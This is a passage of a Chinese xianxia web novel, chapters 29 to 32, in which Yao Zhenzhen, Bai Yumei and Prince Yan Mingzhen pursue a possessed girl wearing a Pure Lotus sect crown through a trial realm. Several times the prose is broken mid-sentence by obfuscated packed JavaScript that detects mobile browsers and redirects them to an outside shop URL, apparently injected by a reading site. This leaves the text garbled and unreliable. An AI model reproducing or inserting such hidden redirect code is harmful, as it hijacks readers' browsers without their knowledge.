“大师姐!”他将一只手拢在嘴边,在一群瞠目结舌的弟子围观下,大声说道,“我曾在天门坪受师姐恩惠而入道,今日之事,并不奢求剑宗酬谢,若能帮上师姐,便是我李某之幸!” 他忽然来这一下,声音又大,传得厅堂内外都听得清楚,顿时人人侧目。 已走到厅门口的“姚珍珍”也下意识的回了一下头。 姚淼淼动作慢了半拍,没有来得及再去遮住她的视线,“姚珍珍”的目光终于与那个青年男子对上了。 青年男子的瞳孔微微收缩,脸上泛起激动的潮红,他还想再说些什么,那边“姚珍珍”却已经收回了视线。 “我见过你,”四下皆是寂静,所有人的目光都落在“她”身上,少女面无表情地挪开了视线,“安心待下,等我回来。” 说罢,她转身离去。 落在两人身后,姚淼淼看着那个蓄须青年脸上怅然若失的神情,袖底捏紧的手掌终于悄悄放松了下来。 *** “阿娘?谁是你阿娘?”姚珍珍不动声色的后退了半步,只是她的手正被白郁湄捉住,若不用蛮力,一时也挣脱不开,“白郁湄,你现在还清醒吗?” 此处已是秘境,所见本就是虚妄。因此姚珍珍一时难以判断究竟是白郁湄陷入了又一层梦境,还是她真的听见了自己没能听见的所谓“阿娘的呼唤”。 “姐姐!你在说什么胡话呢?阿娘在叫我们了!”白郁湄却好像完全没听懂姚珍珍的问题,十分焦急的拉着她的手向着洞穴的更深处走去。 姚珍珍犹豫了一下,还是没有选择挣脱她——主要是白郁湄此刻情况明显不太正常,她担心一旦撒手,这姑娘一下就跑远了,到时候追起来更加麻烦。 两人就这么一个拽着一个快速地向着越发深沉的黑暗中前行。 越往里走,二人身边包裹的黑暗便越发浓稠黏腻,姚珍珍手中灵火已经不足以驱散二人周身的黑暗,而是在包围下渐渐势弱,到最后简直像是一点萤火般微弱。 就在姚珍珍思忖着是不是要换一个照明工具的同时,白郁湄的脚步忽然停了下来。 姚珍珍一抬头,正对上姚淼淼忽然贴近的惨白面孔,女子脸上两只眼睛睁得极大,简直是目眦欲裂的程度,眼眶中纯黑瞳孔上隐隐约约的映照出姚珍珍的身影……还有她身后的另一个身影! “姐姐,”白郁湄幽幽地开口,仿佛大梦初醒,“你不能去!” 姚珍珍没空管她又在幻境中看见什么了,她猛地转头,手中绝尘比念头动得更快,几乎是瞬息间便是干脆利落的一刺! 身后浓稠到快要凝成实体的黑暗中,有人发出了一声疑惑的闷哼。 “呃……”那是个年轻的姑娘的声音,细嫩且娇软,“你怎么……” 又是一剑刺出。 黑暗中的声音顿时从疑惑变为了惊恐。 “停!停一下!”小姑娘的尖叫几乎是同时响起,“不要刺我了!” “好痛!啊啊!停下!停下!” 姚珍珍对她这些求饶的小把戏充耳不闻,她单手将还在梦游中的白郁湄拉到身后,一手将断剑横在身前。 “少装,”她看见了绝尘断裂的剑刃上滴下来的血,滴滴答答十分粘稠,散发出一股十分熟悉的异香,“要我停手,你先解除幻境。” 姚珍珍这话不过是随口一说,并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你是白……”白郁湄的目光中划过一丝挣扎,很快被下颌剧痛唤回了神智,“不,你是姚珍珍,我们正在定流坡内秘境里,阿哲……阿哲就在附近!” 姚珍珍松开了手,任由女子从她手中踉跄着跌倒,又撑着地面站起身来。 她已经确认了白郁湄神智恢复,下一秒,金石之声响起—— 正欲逃离的女孩被一柄飞来的断剑拦住了去路,那剑锋上还流着她身上伤口的血,断口向下插进地面,离她赤裸的脚尖仅仅一步之遥。 “啊!”她吓得叫出了声音,身体一下向后跌倒,头顶金冠随这头颅晃动反射出耀眼的金色光芒。 “我答应让你离开了吗?,”姚珍珍一手搭在了她的左肩上,另一只手拔出了被她掷出的绝尘,“回答我的问题。” “你是何人?为何在此?” “……又是为何,你会戴着净莲教的通神金冠?” 29. 汇合 姚珍珍自认她的问题已经相当温和了,但是这个头戴金冠的女孩却仿佛被吓破了胆子,她的手只是轻轻按住了女孩的肩膀,她便忽然发出一阵凄厉的尖叫来,就像有人把一块烙铁贴上了她的肌肤似的。 “啊啊啊啊啊啊啊——!” 那叫声实在是惨痛异常,从这样一个外表看上去不过十四五的小女孩的嘴里喊出来,让人几乎本能的就要生出不忍来。 姚珍珍也不由自主地松开了手指。 非人般的惨叫一下便停止了。 “我不知道!我什么都不知道!”女孩立刻连滚带爬地离她远了一些,大声回答道,“我一直就在这里!是你们闯进来的!” “连自己名字也不知道?”姚珍珍的眉心一下蹙了起来。 她曾见过巫尚被净莲教控制成为所谓圣莲肉仙时的样子——神智昏聩,大部分时间都沉在各种梦魇中,开口也只能说些意味不明的短句,远不如眼前这女孩一般口齿清晰,声音洪亮。 ……或许,是因为秘境的缘故,武试的秘境是相当典型的虚幻境,进入者实际上是灵肉分离的——灵体进入幻境,肉|体则由设阵者通过秘术保存。 这个女孩之所以头戴金冠依然神智清明声如洪钟,或许正是因为她此刻灵魂与身体已分离,而秘境隔绝了她与“鬼神”的沟通,让她得以表现得如此正常。 ——就像现在寄宿在她那具傀儡身里的巫尚一样。 “名字……”女孩似乎被姚珍珍的问题问住了,她的眼神茫然了一瞬间,很快又恢复了色厉内荏的姿态,“我为什么要告诉你名字!我讨厌你!你去死!” 姚珍珍盯着她充满仇恨的眼睛,微微笑了一下。 “……倒是很少听见人这么说,”她向前踏了一步,满意地看见对面跌坐在地的女孩脸上露出惊恐的神色,“你不愿意回答名字……那就告诉我,在我们来之前,还有谁来过?” “他们此刻在哪里?” 她抬手,绝尘的断口直直的抵在了女孩的鼻尖前方,久违地饮血的残刃兴奋地发出一阵“嗡嗡”的响动。 “我的耐心有限,小姑娘。” “啪嗒”一声,剑身上浓稠的残血顺着锋刃倾斜,慢吞吞地在尾部融合凝聚,直到一滴血珠拉着长长的拖尾,黏糊糊地落在了地面石板上。 “……你最好说实话。” *** 自从那条未能成功化蛟的羽蛇被他随手拧成了一团死肉后,这处秘境便变得格外安静了。 燕鸣臻一路前行,目标格外明确。 他的脚下踏着阵法的灵光,看上去就像踏空行走,脚下是不见底的万丈深渊,身前则是一轮愈发皎洁的明月。 这处秘境本是为了试炼武试的参赛人员而设立,构筑秘境时拓印了西珩洲的百里妖窟,受试者需在此深谷中一路穿行而过,直到抵达出口。 只是现实中的百里妖窟内多是些豢养的妖兽,皆是灵智未开的低阶妖灵,断然是不会出现羽蛇这种级别的妖兽…… ——有人在秘境中放了不该放的东西。 燕鸣臻发出一声冷笑。 若是平日,他自然要让这位敢于在阵法中与他挑衅之人付出代价,只是如今珍珍还在另一重秘境中…… 时间有限,燕鸣臻也不耐烦再一个个的去清理那些本不该出现在此处的妖兽,他一路从裂谷上方而过,行色匆匆地掠过脚下百兽俯首的姿态。 他的脚步中止于眼前的明月。 那当然不是真正的月亮,而是秘境中通往另一重秘境的暗门——武试的三重大秘境内自然留有互相连通的道路,只是不对参试者开放而已。 燕鸣臻再次伸出右手,纤长如玉的十指摊开,交错的幽蓝法阵交错折叠。 青年此刻已站在了这轮巨大的明月之前,他的身影几乎要完全被月华吞没。 “咔嚓”一声,仿佛某种脆弱的瓷器开裂的声音响彻在秘境中的每个生物耳中。 ——巨大的、完美的、虚假的月轮碎裂了。 深谷中的妖兽几乎是疯狂地躁动了起来,不够高的灵智让它们无法理解为何天空会如同纸片般碎裂,只有地面逐渐加剧的震颤让它们本能的感受到了危险。 各式音色不同的凄厉兽吼响了起来,不少有飞行能力的妖兽拼命拍打着翅膀向上飞去,它们身后各异的翅膀几乎要挥出残影,朝着那轮破碎明月的中心疯狂扑去! 大地正在裂开又合拢,像一只只眨动的眼睛、开合的嘴巴。 被留在底下无法飞行的妖兽被地裂吞没,很快便随着一声声沉闷的声响变成地底巨口嘴边的残渣与眼角污浊的血泪。 最先飞扑过来的一只狮身羽鹫一头撞在了燕鸣臻身前透明的屏障上,断裂的胸骨扎穿了心脏,随即便向下坠落,被地裂所吞食。 燕鸣臻最后回头望了一眼脚下堪称炼狱的场景,脸上露出一个几乎是愉悦的笑容来。 “不错的作品,我很喜欢。” 青年说。 他转过身,跌进破碎的月亮里。 *** 秘境外。 留守在定流坡的秘境出口处,几个少年人被燕鸣臻留下的影卫看守着,既不能离去,也不能进去,一个个憋闷得无处可去,只好凑在一起说小话闲聊——他们还顾忌着这些木桩般的影侍都是燕鸣臻的手下,话语间格外避讳着那位殿下的名讳。 “陈谦,来,来。我问你啊,那个白姑娘,”盛彤拽了一下陈谦的后领,示意对方凑近些来,“你说她为何要把鹿慈带进去?” “我也不知晓,或许真只是为了借剑吧……”陈谦低眉臊眼地回答了一句,“白姑娘她行事,呃,一向如此雷厉风行。” “哎,那你说她当时在云舟上,一次杀了十七个魔修那事儿,”蓝胡云也靠了过来,低声发问,“再给我们详细说说呗。” “……多少个?陈谦,可别是你记错了数吧?”被叫做“圆圆”的那个小姑娘被这个数字吓了一跳,“我看她外表年龄也不比我们大多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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余下几人面面相觑,都不敢吭声了。 都是仙门世家千挑万选出来的少年翘楚,本该是轻狂的年纪,此刻缺都沉默得像锯嘴的葫芦。 好在,他们不说话,有另外的人开了口。 众人身后的石门外,忽然有人探进了半个身体。 探头进来的女子头顶盘着灵蛇髻,发间斜插着一支新折的垂丝海棠,盛放的柔嫩花朵间,长长的花梗坠着淡粉的合苞,随着她的动作轻轻晃动,宛如一支造型别致的步摇。 “噢,原来你们都在这里,”她朝几个少年人转过头,抿唇嫣然一笑,昏暗密室都仿佛因她的容光照耀而明亮许多,“今日试剑不去桐花台,怎么跑来了定流坡?” 女子眼波流转,望向门边沉默如石的影侍。 “三殿下也在?”她回头,对着身后说话,“师姐,看来倒是我们的消息不够灵通了。” 30. 地动 “大师姐也来了?!”陈谦是第一个反应过来的。 ——剑宗内弟子论资排辈通常是按照入门时间来的,姚淼淼是鸣麓山主姚清和的长女,宗门同辈内论资历能让她喊一声师姐的,只有一位姚珍珍。 “是,我们收到消息,陆哲被魔修掳掠至定流坡内,因此过来查探一番,”姚淼淼的目光在室内快速扫过一圈,双眸微微眯起,“三殿下已进去秘境了?” 她先一步跨进了室内,门边两个守卫的影侍依然如雕塑般沉默不动——有时候姚淼淼会怀疑这些皇家死士其实都被割了舌头,想从他们嘴里问出话来,难度不亚于想从石头里榨出油来。 好在这些石头不说话,还有这群瞒不住心事的少年人在。 “定流坡内果真有魔修?”“是哪派的妖人?胆子竟如此大?” “淼淼师姐,三殿下与白姑娘分别进了中间与左面的秘境寻人,因着这秘境是武试的试炼题,我们不便进去,所以在外面守着最后一个出口。”其他人还在窃窃私语,陈谦却还挂心着门外还未露面的大师姐,忙不迭的走上前去,“师姐可是要亲自去寻人么?” “……白姑娘?她也进了秘境?” “姚珍珍”从门外走进这间密室,开口的第一句话既不是关心燕鸣臻,也不是问那秘境内的魔修情况。 好在在场众人都没察觉她的关注点诡异,几个年轻人都只是满脸的仰慕与兴奋,精力全顾着去探头探脑地围观这位大师姐了。 “她是何时进去的秘境?”连一贯八面玲珑的姚淼淼也没觉出异常,十分顺畅地接过了她的话头。 “已有小半个时辰了,他们二人一前一后进去的,那位白姑娘临走还带了一个鹿公子进去呢!”盛彤终于鼓起了勇气开口。 ——这个出生自显贵仙门的女修,因着姿容与天赋皆是上乘,父母长辈溺爱至极,自小便养得性格泼辣豪放,便是对待同伴也常有倨傲之色,如今却像个刚出阁的怀春少女似的,脸颊飞红双目亮晶晶的,连说话的声音都娇俏起来。 站在她身边的陈谦听见她刻意软下来的声调,忍不住伸手搓了搓自己的胳膊。 “陆公子?”巫尚却没察觉这些少年人雀跃的心思,只是疑惑地重复了一下盛彤话语中提到的又一个名字。 “噢,不是那位陆哲陆公子,是与我们一同来的另一位鹿公子,呦呦鹿鸣的那个鹿,叫鹿慈的,”见大师姐显然是误会了,有人赶紧出声解释,“白姑娘没带武器傍身,所以找鹿公子借本命剑一用,他们一起进的左边这个秘境。” 姚淼淼与跟着进来的林羽觞对视了一眼,两人交换了一个心照不宣的眼神。 ——他们都知道姚珍珍是何许人,这位大师姐从来不是拘泥于武器形制的人,她要借剑,显然醉翁之意不在剑,而在人。 这个鹿慈绝对有问题,几乎是瞬间,两人便已达成了共识。 “三殿下是举世无双的阵法大师,此次武试秘境的构建本就有他的手笔,想来那边是不会有什么意外的,”姚淼淼轻飘飘的给燕鸣臻戴了一顶高帽子,很快将话题转向了另一处,“倒是白姑娘,她是个琴修,又不熟悉武试秘境,恐怕在其中多有磨难……” “我去接应她。”林羽觞向前踏出一步,就要靠近那已然封闭的秘境入口。 “噌”一声,是一直沉默的仿佛不存在的影侍拔出了武器,拦在了青年的身前。 “三殿下有留下口信,说是此处秘境,在他离开前,既不让人进也不让出……”陈谦在他身后小声地解释了一句。 姚淼淼脸上的表情瞬间垮了下来,她张开嘴唇,正打算说些什么,有人却比她更早开了口。 “他和……白姑娘,”“姚珍珍”的话说得很慢,但在场所有人都听得出她平淡语调下的愠怒,“他们两人一同进了秘境……还要封闭入口不让外人再进去。” 几个少年人都因为“姚珍珍”突如其来的怒意感到既莫名又畏惧。 ——是啊,他们是进了秘境,可不是还有个鹿慈也进去了吗?何况二人进的根本不是同一个秘境……大师姐这难道是在吃醋吗? “燕鸣臻……”巫尚却不管这些人在腹诽些什么,他顶着姚珍珍的面貌,从牙缝中吐出这个名字,恨不能一口把这人咬碎了。 只是“她”还没来得及再做些什么,一只手便搭上了“姚珍珍”的肩膀。 “师姐……嗯?”姚淼淼按着“她”的左肩,刚想说些什么,脚下却忽然趔趄了一下。 “地动了?!”李缘——就是被叫做“圆圆”的那个少女最先发出了尖叫声。 她站的位置靠后,身边就是一根石柱,因此异动来袭时,她最先发现了身边石柱的异常震颤。 少女的话音才刚落下,青石铺就的地板便如池中水面般波澜荡漾起来,室内所有人被这动静打了个猝不及防,转瞬间便四散倒去。 身旁传来一声巨响,是林羽觞腰间恨骨出鞘,一下重重楔进了地面的裂缝中。 青年一手抓住了自己本命剑的剑柄,另一手牢牢地拉住了一边险些栽倒的“姚珍珍”。 “不是寻常地动,有东西在底下!”他转过头,向众人大声喊道,“压低重心,稳住身体,都先离开这间屋子!” 姚淼淼半跪在了地上,单手撑在了一块碎裂的青砖上,娇嫩的掌心瞬间被划开一道淌血的伤口。 她一下握紧了受伤的手掌,咬了咬牙,腰间一条柔软的系带随之亮起淡淡灵光,很快便舒展伸直,化成一柄形制特殊的软剑,卷住了不远处的立柱。 “这里是定流坡!底下不可能有地火,怎么会有地动?!”她的声音尖利,一下便传入了众人的耳中。 只是谁也无法回答她的问题。 是的,定流坡本不该地动……出现此等异常只能说明一件事——秘境内部出问题了。 *** 剑冢。 姚珍珍举剑的动作显然把那个来历不明的女孩吓得不轻。 “不要!不要刺我!我告诉你!我全部告诉你!有两个人来过!”她手脚并用的后退,恨不得多生出几条腿用来逃跑,“沿着石壁往前走,尽头有一个水池,他们带了一个人来,就扔在水池里!” “!”两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“比你们两个站着叠起来还要深!”她双手扶住额头,幸灾乐祸道,“要救那个人,没有别的办法,只能游过去!” 姚珍珍懒得理会她无聊的报复心,直接伸手拎住了这个女孩的衣领,一把将她提了起来。 “你会不会水?”她不顾女孩发出的杀猪般的尖叫与一连串语种不明的辱骂,将她悬空拎在了水潭上方,“戴着这么沉的头冠,便是会水也无用吧?” 姚珍珍作势就要松手,女孩顿时发出一阵尖利的哭嚎,双手胡乱向上抓住姚珍珍的手腕不放。 “不要!不不不不!别松手!求你了!” “我会死的!我会死的!求你了!姐姐!姐姐!” 姚珍珍眯起了眼睛。 “你会死?”她收回了手臂,将女孩放回了岸边地面,“不,你不会,这里是秘境,普通潭水淹不死人,就算淹死了,秘境内你也不会死。” “除非……这潭水有问题,”她目光冰冷地俯视着趴在地上瑟瑟发抖的女孩,“你在隐瞒什么?” 31. 月仙 “……”女孩形容狼狈的趴在地上,抬头望着姚珍珍,两只睁大的瞳孔中满是憎恨与恐惧。 见姚珍珍又打算动手,她吓得一下闭上了眼睛,竹筒倒豆子一般大喊起来。 “这潭中的是弱水!一旦溺入便永不得出!若无青鸟相助,谁也过不去!” 昆山弱水,鸿毛不浮,芦花亦沉。 传说此水发源自幽冥深处,其中融汇了众魂诸恶,因此格外沉重,即便只是一片轻若无物的羽毛,落入其中也难以浮起。 只是…… “秘境中怎么可能会有弱水?“白郁湄愕然道,”如临弱水,万法皆除,试炼秘境本质上只是阵法而已……” “所以要么这弱水也是秘境虚构的幻影而已,”姚珍珍走向水潭边,向着漆黑的水面举起了手中的长剑,“要么……就是这秘境中,只有这处弱水是真的。” 她松开手,任由手中绝尘脱离控制,循着重力下落。 在两人的目光中,这柄分量不轻的断剑直直地砸向幽深的水潭,若按常理,本该溅起一滩水花。 可什么都没发生。 在接触到水面的前一秒,断剑竟凭空消失。 “……”白郁湄被如此诡异场景吓得后退了一步。 “原来如此……剑冢内诸灵剑都只是阵法构筑的幻景,弱水中阵法失效,自然灵剑也会消失,”姚珍珍的脸上却并无任何意外的神色,她蹲下身,伸出手跃跃欲试地悬空在潭水上方,“那我呢?我的身体也是阵法拟造的产物,若是我进入水中……” 白郁湄一把拉住了她就要伸进去的手。 “姐姐!”她的语气焦急,显然被姚珍珍突发奇想地大胆操作吓了一跳。 但她的话还没来得及说完—— “哗啦”一声,漆黑水面中忽然伸出一只惨白的人手,一把抓住了姚珍珍悬在半空的手腕! “!!”这一下惊吓非比寻常,这一路而来一直表现得游刃有余的姚珍珍都被这突如其来的一幕吓得肩膀一耸,险些便要惊叫出声来。 “啊!”她身边的白郁湄更是在瞬间便触电般松开手,险些腿一软栽倒下去。 “咳!咕噜……咳咳!”水潭中伸手之人紧紧地抓住姚珍珍的手腕,似乎是想说些什么,但深黑的水流呛入了他的口鼻中,让他不得不呛咳着不断挣扎。 姚珍珍的脸色却忽然一变。 她一把反手抓住了那只伸出水面的手,弯下腰双手用力试着把水里的人往岸上拉。 “鸣臻?” “哗啦——”这次浮出水面的是头颅。 燕鸣臻那张能令圣人都失态的美丽面孔出现在几人面前。 漆黑的水珠沿着他顺滑的长发流淌,越发衬得他肌肤胜雪,五官轮廓恍如神铸,若非此刻场景实在诡异,简直要让人怀疑姚珍珍是捞起了一个水中月仙。 “月仙”忽然猛烈地咳嗽了起来,浓黑的睫羽扑扇着掀起,湿漉漉的眼瞳望向了岸边依然拽着他手腕的姚珍珍。 他的神色从茫然一点点变成欣喜,就像是高明的匠人为玉雕美人点上了最后的眼瞳,月仙垂落了人间,这份非人的美便忽然有了生命,变得极其的活色生香起来。 “……珍珍?”他从水中伸出另一只手,手指颤抖着想要触碰姚珍珍的面颊,但在靠近时却又停下了,“……我是在做梦吗?” 青年仰着头凝视恋人久违的面孔,目光深深,似乎有千言万语,最终却只化作一个满含爱意的笑。 整整七年过去,隔着生死的天堑,这对曾经亲密的爱侣终于得以在现实与幻境的交界处重新执手。 姚珍珍感觉自己的牙根都忍不住酸了一下——世上大概没几个人能顶得住这种程度的美色攻势。 “不是做梦,但你先从水里出来……”她说话的语气忍不住软下来,听得一边还在地上发抖的女孩一下瞪直了眼睛。 洞内光线昏暗,似乎没人注意到握住他手的少女脸颊上飘过一抹飞红,她目光迟疑地从青年的面孔向下,一路划过光洁的脖颈线条,最终落在他胸膛湿透的衣衫上。 姚珍珍有些不自然的偏过头,挪开了视线。 燕鸣臻眼睫似是失望地半垂下来,仿佛蝴蝶敛翅,嘴角却忍不住轻轻勾了起来。 “能用上力吗?”姚珍珍低声问道,“握紧我的手,我拉你上来。” 弱水当然不愿意放走它好不容易捕获的月仙,姚珍珍几乎用上了十分力气,才堪堪将燕鸣臻从这漆黑的水潭中解脱出来。 “哗啦——”最后一下太过用力,还是白郁湄从一边伸手将姚珍珍拉开,才避免了二人摔做一团的尴尬场景。 “姐姐!”她喊了一声,紧张地上下打量了一番少女的周身,“你没事吧?” “……谢谢,我没事。”扶着白郁湄的手站稳了身体,姚珍珍转头看向另一边。 青年正坐在岸边,他周身还在滴水,名贵的华服紧紧贴着肌肤,却完全遮不住底下瓷般春色,湿透的布料勾勒出一副蜂腰猿臂的好身材,叫人看一眼就完全挪不开目光。 姚珍珍的脸“腾”的一下又红了。 “你……你没事吧?”她垂下头,盯着自己的鞋尖,问道。 “呼——”燕鸣臻却仿佛完全没察觉到少女的窘迫神色,他伸手撩起湿漉漉的长发,随手将绸缎般的长发挽到身后,转过了头。 “珍珍,”他直起身,向着两人的方向目标明确地走来,忽视了白郁湄如临大敌的神色,青年伸出手,一把将低着头的少女紧紧抱住,“……果真是你。” “……呃?”姚珍珍只来得及发出一个错愕的音节,便已被笼罩在对方带着水汽的冰冷怀抱中。 ……有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050764|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滴滴答答的水珠落在她的发间,不似弱水冰冷,尤带着些微温度。 她的面颊贴着燕鸣臻冰凉的胸膛,听见了他鼓噪喧嚣的心跳声。 迟疑片刻,她抬起手,轻轻搭在对方的后背拍了拍。 “好啦,还有人看着呢,”她小声的说,“不管怎么样,鸣臻,先放开……” 姚珍珍的话语被吞没在交缠的唇舌间。 燕鸣臻低头,捧住了她的脸颊。 唇瓣是冰冷而柔软的,恋人的呼吸却是滚烫的,随着齿关的颤抖,姚珍珍终于后知后觉地体会到了对方失而复得的酸甜喜悲。 她在心中长叹一声,主动伸手按住了对方的后脑,手指探入对方湿透的发间,主动加深了这个重逢之吻。 “啊呀!”坐在地上的小女孩发出一声惊叫,伸手捂住了自己的双眼——只是捂得不是很走心,任谁都能看见她两只滴溜溜的眼睛正透过刻意张开的指缝偷窥。 白郁湄站在两人交缠的身影后,面色变得极其难看。 只可惜姚珍珍背对着她,没有看见她的脸色,而能看见的人—— 燕鸣臻抬起眼睛,轻轻扫过白郁湄铁青的脸色,目光中溢满得意与嘲讽之色。 热烈的重逢之吻最终以姚珍珍伸手拽着燕鸣臻的长发将他拉开为中止。 ……她只感觉自己的下半张脸都快要失去知觉了,再不阻止怕是要被对方嚼碎了吃掉。 “咳……”她握拳捂住嘴角咳了一声,欲盖弥彰地撇了一眼身后站着的白郁湄,“弱水难渡,我们要怎么去到那块巨石处?” 她本意是将话题转到另一处以缓解尴尬,只可惜在场的几人全然不领情。 “三殿下是如何进到这水潭中的?我听闻一旦落入弱水,若无外力襄助,是决计无法挣脱的……您又是如何浮出水面的呢?”——这是白郁湄。 “漂亮哥哥,你是水鬼吗?怎么一上岸就忙着啃人呀?”——这是那个戴着金莲冠的小女孩。 姚珍珍:“……”。 好在,还有一个勉强算得上贴心的燕鸣臻。 “我从另一处秘境而来,本是前来找寻你们的,谁知道一穿过暗门,便直接脱离幻境落入了弱水中,”他的右手依然占有欲十足地揽着姚珍珍的腰,另一只手抚摩着自己的下唇,发出一声充满磁性的低沉笑声,“至于我是如何浮上水面的……” 他再次低头看向姚珍珍,语气轻缓,温热吐息喷洒在少女耳边。 “我的本命剑,地隐,”他手指推开腰间剑鞘,露出一截散发碧光的剑刃,“曾以蛟髓蛟骨炼制,可驭万水……虽然弱水压制了它的效果,但它确实让我不至于即刻溺毙其中。” 青年又一次低头,双手捧住了少女的手,半蹲下身,目光灼灼地望着她的双眼。 “珍珍,是你救了我两次。”他说。 32. 夺舍 “经过便是如此,如何,你还有什么想知道的么?”燕鸣臻的目光轻飘飘的扫过白郁湄身上,薄唇开合,一字一句地吐出她的称呼,“……白、姑、娘?” 姚珍珍后知后觉地一拍脑门。 “是了,我该为你介绍一二的,”她转过身,一手将白郁湄拉到身边,“这位是白郁湄,出身楠九岛陆氏,正是那位被魔修掳走的陆哲的,呃,妻子。” “我如今与她共居同一躯体内,只是白姑娘的神魂在云海中受损,所以近来一直是我在外应付。” 燕鸣臻微微点头:“司政府中一见你,我便已有猜测。只是当时你既不愿相认,我便知你有难言之隐……” “你我如今身处秘境,我身边不再有外人干扰……”青年说及此处,眉心轻微蹙起,目含忧虑地望向一边撑着脑袋,正听得津津有味的小女孩。 姚珍珍的目光也随着他的动作而移动。 见三人的目光都落向自己,女孩警惕地半蹲起身体,做出一个戒备的姿势。 “干什么?”她像一只受惊的小动物一样,炸起了全身的绒毛来虚张声势。 “净莲教的通神金冠……”青年若有所思地低语了一句,伸手就要去抓那女孩的手臂,却被对方以极其敏锐的姿态滚地躲开了。 “别碰我!”她双手撑着地面,冲着姚珍珍大声叫嚷起来,全然不顾自己形容狼狈,身上沾满了砂石灰尘,“我已经把你带到水池边了!你们还想做什么?” “此秘境是我一手构建,其中本不该存在这样一潭弱水,更不该有净莲教的余孽留存。” 燕鸣臻收回手,面色冷峻,另一只手按在了腰间剑鞘上。 “三年前,玄机处密报,明砚宗驻留西崖洲的人员被魔修渗透,净莲妖火重燃,岳掌门的一双儿女在乱战中被掳走,其子被制成了蛰面偶,于邙岭山作乱时被当地仙门绞杀,余下一女,至今未得踪迹……” “岳婉容,你还记得自己的名字吗?” 听见燕鸣臻口中说出的那个名字,女孩脸上愤怒的神色忽然一下凝固了。 “岳……婉……容?”她迟疑地重复着这三个字,仿佛完全不认识一般,表现出了十分的疑惑。 但她自己未曾察觉,站在对面的三人却都看得真切。 在燕鸣臻提到明砚宗开始,女孩脸上的肌肉便开始失控般抽搐扭动,两只睁大的眼眶中更是涌出汩汩的血泪来。 “她是谁?你说的那些人,死不死的,又和我有什么关系?”她抬起一只手,似乎是觉得很不舒服,所以想要揉一揉眼睛,却在放下手后,看见了掌心残留的黏腻血痕。 她的目光一下变得锐利起来,伸手在身上草草一擦,另一手抬起,摸索着抓住了头顶金冠上浇筑的一只手臂,狠狠向着脑后一拨! “找死!”那一下动作似乎是触发了某种机扩,三人清晰的听见了一声清脆的金属撞击声,女孩的眉头随之不受控制地皱了起来,牙关紧咬,显然是陷入了一阵剧烈的疼痛中。 “这是……”白郁湄忍不住伸手想要制止她近乎自虐般的行为,但她的步子还没迈出去,女孩脸上表情却又是一变! “好啊!原来那是你的名字!”她扯开嘴角露出一个扭曲而怪异的笑容,语气张狂又得意,但却并不是对着姚珍珍三人开口,“岳婉容?怎么?你还想着和我争?痴心妄想……” 她作势又要抬手去拨弄头顶金冠—— 姚珍珍与燕鸣臻对视一眼,在彼此的眼中看见了相似的答案。 阻止她! 下一秒,“砰!”的一声,女孩被人摁着肩膀狠狠地掼在了地上! 一双冰凉的手按住了她的左右额前,避免了她头顶沉重的金冠不至于因为姚珍珍粗暴的动作而磕在地面上。 “夺舍重生……”姚珍珍刚开口说了一个词,忽然噎了一下。 她后知后觉的反应过来,自己如今的情况,与这个寄居在岳婉容身上的妖女何其相似! 白郁湄却在这时走了上来,在二人各异的目光中,身形纤弱的女子走到女孩身前,半蹲了下来。 姚珍珍与她对视片刻,白郁湄勾起嘴角,对她露出一个带着安抚的笑容。 “姐姐,”她伸手,将姚珍珍脸颊边一缕散开的发丝挽到耳后,“没事的,我明白,你当然与她不同。” 她将目光重新落回女孩的脸上。 “至于你……鸠占鹊巢的废物。” “认得这个吗?”她忽然张开手指,将手中的一样东西展示在了女孩的眼前。 女子白皙纤长的手指间,一枚带血的耳坠正轻轻摇晃——六臂捧莲,纯金铸就,精巧无比。 姚珍珍愣了一下。 耳坠的形制如此熟悉,会留在白郁湄手中的净莲教首饰……是云舟上那伙魔修。 她恍然大悟地抬起头——是最开始被她杀死的,那个驱使食人钩吸食心头血的青年魔修! 女孩显然也认出了那个耳坠的本来归属。 她脸上不忿的神情如同泡沫一般迅速的消融了,取而代之是惊恐与焦急。 “哥哥?!你们对他做了什么?放开我!放开我!”她忽然猛烈地挣扎起来,动作之剧烈,浑身骨骼都因为她的动作发出“咯咯”的异响。 但是按住她肩膀的人是姚珍珍,世上能从她的手下挣脱之人屈指可数。 她一阵挣扎,除了将四肢关节拧得红肿外,毫无作用。 “他在哪里?放开我!我警告你……” 随着一身闷响,是燕鸣臻一记手刀劈在了她的后颈上,强行中断了女孩喋喋不休的恐吓之语。 “……她再这样挣扎下去会伤到岳姑娘的身体,”见两人都看向自己,燕鸣臻开口解释道,“即使岳姑娘神魂已散……” 姚珍珍忍不住倒吸了一口凉气,燕鸣臻看了她一眼,话语停顿了一下。 他伸手在女子的肩上拍了拍,仿佛是在安慰。 “……我们也尽量让她的身躯完整些。”他说完了后半句话。 